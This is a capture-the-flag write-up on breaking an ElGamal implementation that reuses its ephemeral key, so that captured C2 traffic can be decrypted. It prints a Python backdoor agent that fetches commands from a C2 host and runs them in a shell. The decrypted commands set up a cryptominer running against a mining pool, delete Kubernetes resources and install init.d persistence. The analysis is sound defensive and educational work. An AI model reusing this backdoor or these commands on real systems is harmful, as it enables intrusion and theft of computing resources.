<- CRYPTO

ElElGamal

8 minutes to read

We have this challenge description:

After some minor warnings from IDS, you decide to check the logs to see if anything suspicious is happening. Surprised by what you see, you realize that one of your honeypots has been compromised with a cryptominer. As you look at the processes, you discover a backdoor attached to one of them. The backdoor retrieves the private key from the /key route of a C2. It establishes a session by sending an encrypted initialization sequence. After the session is established, it waits for commands. The commands are encrypted and executed by the source code you found. Unfortunately, the IDS could not detect the request to /key and the machine was rebooted after the compromise, so the key cannot be found on the stack. Can you find out if any data was exfiltrated from the honeypot to mitigate future attacks?

We got the Python source code of the agent (agent.py):

from encryption import ElGamal
from base64 import b64decode, b64encode
from Crypto.Util.number import long_to_bytes, bytes_to_long
from time import sleep
import requests
import subprocess
import json

IP = "192.168.1.6"
PORT = "5000"
HOST = f"http://{IP}:{PORT}"

el = ElGamal()


def getKey():
    data = requests.get(HOST + "/key").json()
    print("Fetched the key!")
    key = data["key"]
    key = b64decode(key)
    key = bytes_to_long(key)
    return key


def establishedSession():
    response = requests.get(HOST + "/tasks")
    if response.status_code == 200:
        encrypted_task = response.text
        task = decryptTask(encrypted_task)
        if task == "Session established":
            return True
    return False


def decryptTask(encrypted_task):
    task = el.decrypt(encrypted_task)
    task = task.decode().strip()
    return task


def encryptResult(result):
    task = el.encrypt(result)
    task = task.decode().strip()
    return task


def sendResult(result):
    result = {"result": result}
    requests.post(HOST + "/results", result)


def main():
    key = getKey()
    sleep(10)
    el.y = key

    if establishedSession():
        while True:
            sleep(3)

            response = requests.get(HOST + "/tasks")

            if response.status_code == 200:
                encrypted_task = response.text
                task = decryptTask(encrypted_task)
                try:
                    result = subprocess.check_output(task, shell=True)  
                    result = result.decode()
                    if result != "":
                        result = "VALID " + result[:50]
                        result = bytes_to_long(result.encode())
                        result = el.encrypt(result)
                    sendResult(result)
                except:
                    sendResult("Error")


if __name__ == "__main__":
    main()

The cryptosystem is ElGamal, implemented in encryption.py:

from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
from base64 import b64encode, b64decode
import random


class ElGamal:
    def __init__(self):
        self.g = 10
        self.q = 855098176053225973412431085960229957742579395452812393691307482513933863589834014555492084425723928938458815455293344705952604659276623264708067070331  
        self.h = 503261725767163645816647683654078455498654844869971762391249577031304598398963627308520614235127555024152461204399730504489081405546606977229017057765
        self.s = None
        self.y = random.randint(2, self.q)

    # This was used for self.h generation
    def generateKey(self) -> int:
        x = random.randint(2, self.q)
        return pow(self.g, x, self.q)

    def encrypt(self, m: int) -> str:
        s = pow(self.h, self.y, self.q)
        c1 = pow(self.g, self.y, self.q)
        c2 = (s * m) % self.q
        c1 = b64encode(long_to_bytes(c1)).decode()
        c2 = b64encode(long_to_bytes(c2)).decode()
        return c1 + "|" + c2

    def decrypt(self, ct: str) -> str:
        c1, c2 = ct.split("|")
        c1 = bytes_to_long(b64decode(c1))
        c2 = bytes_to_long(b64decode(c2))
        s = pow(c1, self.y, self.q)
        s = pow(self.h, self.y, self.q)
        m = (c2 * inverse(s, self.q)) % self.q
        return long_to_bytes(m)

We are also provided with a network capture called traffic.pcapng that can be analyzed with Wireshark:

ElElGamal 1

Source code analysis

In agent.py we can see that the program retrieves the server’s key using function getKey and sets el.y to the received value:

# ...

def getKey():
    data = requests.get(HOST + "/key").json()  
    print("Fetched the key!")
    key = data["key"]
    key = b64decode(key)
    key = bytes_to_long(key)
    return key

# ...

def main():
    key = getKey()
    sleep(10)
    el.y = key

# ...

It is just a web request, but it can’t be found in the Wireshark capture (as stated by the challenge description).

After that, the agent uses establishedConnection:

def establishedSession():
    response = requests.get(HOST + "/tasks")  
    if response.status_code == 200:
        encrypted_task = response.text
        task = decryptTask(encrypted_task)
        if task == "Session established":
            return True
    return False

This function takes ciphertext from the server (using endpoint /tasks) and if it decrypts to "Session established", it returns True.

After that, the agent continues requesting ciphertexts from /tasks, decrypts the payloads and executes them using subprocess.popen. The results are sent back with a POST request to /results.

There are many HTTP requests in the network capture file:

ElElGamal 2

The security flaw

While learning about ElGamal in Wikipedia I saw something weird in the challenge.

The public key consists of the values $(G, g, q, h)$, and we have all of them from encryption.py. Then, to encrypt, the following calculations must be done:

  • Choose a random integer $y$ such that $1 \leq y < q$
  • Compute $s = h^y \mod{q}$, which is the shared secret
  • Compute $c_1 = g^y \mod{q}$
  • Compute $c_2 = m \cdot s \mod{q}$, where $m$ is the plaintext message in decimal format

And the ciphertext is $(c_1, c_2)$. The post in Wikipedia says:

Note that if one knows both the ciphertext $(c_1, c_2)$ and the plaintext $m$, one can easily find the shared secret $s$, since $s = c_2 \cdot m^{-1} \mod{q}$. Therefore, a new $y$ and hence a new $s$ is generated for every message to improve security. For this reason, $y$ is also called an ephemeral key.

The challenge does not update the value of $y$ and thus the shared secret $s$ is always the same. Therefore, the value of $c_1$ is always the same too. Notice that in each HTTP response from /tasks the payload is like c1|c2, and the first part is the same in all the responses:

ElElGamal 3

Since we know that the first message is "Session established" (otherwise, there wouldn’t be more requests), we can find the shared secret $s$ as shown in the Wikipedia note:

$ python3 -q
>>> from pwn import b64d
>>> from Crypto.Util.number import bytes_to_long, long_to_bytes
>>>
>>> q = 855098176053225973412431085960229957742579395452812393691307482513933863589834014555492084425723928938458815455293344705952604659276623264708067070331
>>> m = bytes_to_long(b'Session established')
>>>
>>> ct = '43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|EtJdz4TGpsPRxpCfSU1EzHCdn7dwx/wM5ddhCA4PpiGZTUpytbe6qYbNgrtJNmB3aTGCMiaxFr1jQfjtonk='  
>>> _, c2 = map(bytes_to_long, map(b64d, ct.split('|')))
>>> s = c2 * pow(m, -1, q) % q

Using this shared secret $s$, we can decrypt the subsequent $c_2$ values:

>>> ct = '43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|ApmwM0ox37numDswK1IMAD5I9sD1OLnV4hCEtv6+j/2kF0wIZeckbfZNas/wczb85jEhV8cmRpgRfOy8SYGu'  
>>> _, c2 = map(bytes_to_long, map(b64d, ct.split('|')))
>>> m = c2 * pow(s, -1, q) % q
>>> long_to_bytes(m)
b'touch /opt/f.sh'
>>>
>>> ct = '43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|zfdAT+azces+LVK57G+oYrdBA9/A30LMnAFhVG5T21jkLgDRayGHw1yilT90GJ9a0wSsfNbxsmJPqqo1B1U='
>>> _, c2 = map(bytes_to_long, map(b64d, ct.split('|')))
>>> m = pow(s, -1, q) * c2 % q
>>> long_to_bytes(m)
b"echo '#!/bin/bash' >> /opt/f.sh"

Automating the decryption process

Since there are a lot of values, let’s use tshark to extract the ciphertexts:

$ tshark -r traffic.pcapng -O http -Tfields -e http.file_data | grep -E '.{20,}' | head
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|EtJdz4TGpsPRxpCfSU1EzHCdn7dwx/wM5ddhCA4PpiGZTUpytbe6qYbNgrtJNmB3aTGCMiaxFr1jQfjtonk=  
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|ApmwM0ox37numDswK1IMAD5I9sD1OLnV4hCEtv6+j/2kF0wIZeckbfZNas/wczb85jEhV8cmRpgRfOy8SYGu
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|zfdAT+azces+LVK57G+oYrdBA9/A30LMnAFhVG5T21jkLgDRayGHw1yilT90GJ9a0wSsfNbxsmJPqqo1B1U=
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AhTIGaZxjVa/UARA76g2ECDoeAUvC0btVMnRo0/HxyS7E0MqmyyJcSttPf9kfGjbN06FrFj56NJrILbGf4K2
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|RHOqLQjEjbID7TyPTp+p/OOznHzyuNI9QaLj8F2/vAZpCDUK1//yFaJO78UwjjgzcQWY9yv2hkgY8ACge/c=
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AQZrbR9r7dO+CdPHp8I4SgDP/0MOA0NkvWWcaDImB5HPhubKGbNS9OnNcs2ShdXXJ9+pygF7M1hBgIWWuZYR
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|exHMS0Jj51CnO2Ai2lES3P7Upsfvi33Km/GZ3I0XbAo2aqs4xnNoRaLtV0DwcjI/MgRar2UGSoPTt3oJGu0=
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|2x692eZegFskxXnptM8btDeLb0S2foSlo1iKV09bNXWZUuIyzfcYrR3mX0SP9UBeNOz8eRFOwPy2K0Lyc2A=
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|gQ83O8Sg19BC4HnMFEknUGHQGOMyGFRX22UUe1YB1yZtYx+aAq6n/4M0gl/GpWZvXURqfaERc25o9Tg2pFE=
43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|exHMS0Jj51CnO2Ai2lES3P7Upsfvi33Km/GZ3I0XbAo2aqs4xnNoRaLtV0DwcjI/MgRar2UGSoPTt3oJGu0=

$ tshark -r traffic.pcapng -O http -Tfields -e http.file_data | grep -oE '\|.*' | head
|EtJdz4TGpsPRxpCfSU1EzHCdn7dwx/wM5ddhCA4PpiGZTUpytbe6qYbNgrtJNmB3aTGCMiaxFr1jQfjtonk=
|ApmwM0ox37numDswK1IMAD5I9sD1OLnV4hCEtv6+j/2kF0wIZeckbfZNas/wczb85jEhV8cmRpgRfOy8SYGu
|zfdAT+azces+LVK57G+oYrdBA9/A30LMnAFhVG5T21jkLgDRayGHw1yilT90GJ9a0wSsfNbxsmJPqqo1B1U=
|AhTIGaZxjVa/UARA76g2ECDoeAUvC0btVMnRo0/HxyS7E0MqmyyJcSttPf9kfGjbN06FrFj56NJrILbGf4K2
|RHOqLQjEjbID7TyPTp+p/OOznHzyuNI9QaLj8F2/vAZpCDUK1//yFaJO78UwjjgzcQWY9yv2hkgY8ACge/c=
|AQZrbR9r7dO+CdPHp8I4SgDP/0MOA0NkvWWcaDImB5HPhubKGbNS9OnNcs2ShdXXJ9+pygF7M1hBgIWWuZYR
|exHMS0Jj51CnO2Ai2lES3P7Upsfvi33Km/GZ3I0XbAo2aqs4xnNoRaLtV0DwcjI/MgRar2UGSoPTt3oJGu0=
|2x692eZegFskxXnptM8btDeLb0S2foSlo1iKV09bNXWZUuIyzfcYrR3mX0SP9UBeNOz8eRFOwPy2K0Lyc2A=
|gQ83O8Sg19BC4HnMFEknUGHQGOMyGFRX22UUe1YB1yZtYx+aAq6n/4M0gl/GpWZvXURqfaERc25o9Tg2pFE=
|exHMS0Jj51CnO2Ai2lES3P7Upsfvi33Km/GZ3I0XbAo2aqs4xnNoRaLtV0DwcjI/MgRar2UGSoPTt3oJGu0=

$ tshark -r traffic.pcapng -O http -Tfields -e http.file_data | grep -oE '\|.*' | cut -c 2- | head
EtJdz4TGpsPRxpCfSU1EzHCdn7dwx/wM5ddhCA4PpiGZTUpytbe6qYbNgrtJNmB3aTGCMiaxFr1jQfjtonk=
ApmwM0ox37numDswK1IMAD5I9sD1OLnV4hCEtv6+j/2kF0wIZeckbfZNas/wczb85jEhV8cmRpgRfOy8SYGu
zfdAT+azces+LVK57G+oYrdBA9/A30LMnAFhVG5T21jkLgDRayGHw1yilT90GJ9a0wSsfNbxsmJPqqo1B1U=
AhTIGaZxjVa/UARA76g2ECDoeAUvC0btVMnRo0/HxyS7E0MqmyyJcSttPf9kfGjbN06FrFj56NJrILbGf4K2
RHOqLQjEjbID7TyPTp+p/OOznHzyuNI9QaLj8F2/vAZpCDUK1//yFaJO78UwjjgzcQWY9yv2hkgY8ACge/c=
AQZrbR9r7dO+CdPHp8I4SgDP/0MOA0NkvWWcaDImB5HPhubKGbNS9OnNcs2ShdXXJ9+pygF7M1hBgIWWuZYR
exHMS0Jj51CnO2Ai2lES3P7Upsfvi33Km/GZ3I0XbAo2aqs4xnNoRaLtV0DwcjI/MgRar2UGSoPTt3oJGu0=
2x692eZegFskxXnptM8btDeLb0S2foSlo1iKV09bNXWZUuIyzfcYrR3mX0SP9UBeNOz8eRFOwPy2K0Lyc2A=
gQ83O8Sg19BC4HnMFEknUGHQGOMyGFRX22UUe1YB1yZtYx+aAq6n/4M0gl/GpWZvXURqfaERc25o9Tg2pFE=
exHMS0Jj51CnO2Ai2lES3P7Upsfvi33Km/GZ3I0XbAo2aqs4xnNoRaLtV0DwcjI/MgRar2UGSoPTt3oJGu0=

$ tshark -r traffic.pcapng -O http -Tfields -e http.file_data | grep -oE '\|.*' | cut -c 2- > ciphertexts.txt

Now, let’s use a Python script to decrypt all the above values, using the first one to find $s$ as shown previously:

#!/usr/bin/env python3

from pwn import b64d
from Crypto.Util.number import bytes_to_long, long_to_bytes


def main():
    with open('ciphertexts.txt') as f:
        c2s = list(map(bytes_to_long, map(b64d, f.readlines())))

    q = 855098176053225973412431085960229957742579395452812393691307482513933863589834014555492084425723928938458815455293344705952604659276623264708067070331  
    m = bytes_to_long(b'Session established')

    s = c2s[0] * pow(m, -1, q) % q

    for c2 in c2s[1:]:
        m = c2 * pow(s, -1, q) % q
        print(long_to_bytes(m).decode())


if __name__ == '__main__':
    main()

$ python3 solve.py
touch /opt/f.sh
echo '#!/bin/bash' >> /opt/f.sh
echo '(' >> /opt/f.sh
echo -n 'docker pause `docker ps ' >> /opt/f.sh
echo -n '| grep kube-apis ' >> /opt/f.sh
echo -n '| awk "{print $1}"`;' >> /opt/f.sh
echo -n '
docker pause `docker ps ' >> /opt/f.sh
echo -n '| grep nginx78 ' >> /opt/f.sh
echo -n '| awk "{print $1}"`;' >> /opt/f.sh
echo -n '
docker run --name sosmseww ' >> /opt/f.sh
echo -n '--restart unless-stopped ' >> /opt/f.sh
echo -n '--read-only ' >> /opt/f.sh
echo -n '-m 50M bitnn/alpine-xmrig ' >> /opt/f.sh
echo -n '-o stratum+tcp://xmr' >> /opt/f.sh
echo -n '.crypto-pool.fr:3333 ' >> /opt/f.sh
echo -n '-u "HTB{n3ve2_u53_' >> /opt/f.sh
echo -n '7h3_54m3_k3y:)}" ' >> /opt/f.sh
echo -n '-p x -k --donate-level=1;' >> /opt/f.sh
echo -n '
kubectl delete ' >> /opt/f.sh
echo -n '$(kubectl --server=aaa ' >> /opt/f.sh
echo -n 'get all ' >> /opt/f.sh
echo -n '| grep "nginx78-" ' >> /opt/f.sh
echo -n '| awk "{print $1}")' >> /opt/f.sh
echo -n '
)' >> /opt/f.sh
echo -n '
docker run ' >> /opt/f.sh
echo -n 'docker123321/cron' >> /opt/f.sh
chmod +x /opt/f.sh
touch /etc/init.d/bad-init-d
echo '#!/bin/sh' >> /etc/init.d/bad-init-d
echo -n 'do_start()' >> /etc/init.d/bad-init-d
echo -n '
{' >> /etc/init.d/bad-init-d
echo -n '
    ' >> /etc/init.d/bad-init-d
echo -n 'start-stop-daemon ' >> /etc/init.d/bad-init-d  
echo -n '--start ' >> /etc/init.d/bad-init-d
echo -n '
        ' >> /etc/init.d/bad-init-d
echo -n '--pidfile ' >> /etc/init.d/bad-init-d
echo -n '/var/run/init-' >> /etc/init.d/bad-init-d
echo -n 'daemon.pid ' >> /etc/init.d/bad-init-d
echo -n '
        ' >> /etc/init.d/bad-init-d
echo -n '--exec ' >> /etc/init.d/bad-init-d
echo -n '/opt/f.sh ' >> /etc/init.d/bad-init-d
echo -n '
        ' >> /etc/init.d/bad-init-d
echo -n '|| return 2' >> /etc/init.d/bad-init-d
echo -n '
}' >> /etc/init.d/bad-init-d
echo -n '

case "$1" in' >> /etc/init.d/bad-init-d
echo '  start)' >> /etc/init.d/bad-init-d
echo '    ;;' >> /etc/init.d/bad-init-d
echo 'esac' >> /etc/init.d/bad-init-d
chmod +x /etc/init.d/bad-init-d

Flag

The flag appears in the list of commands above: HTB{n3ve2_u53_7h3_54m3_k3y:)}.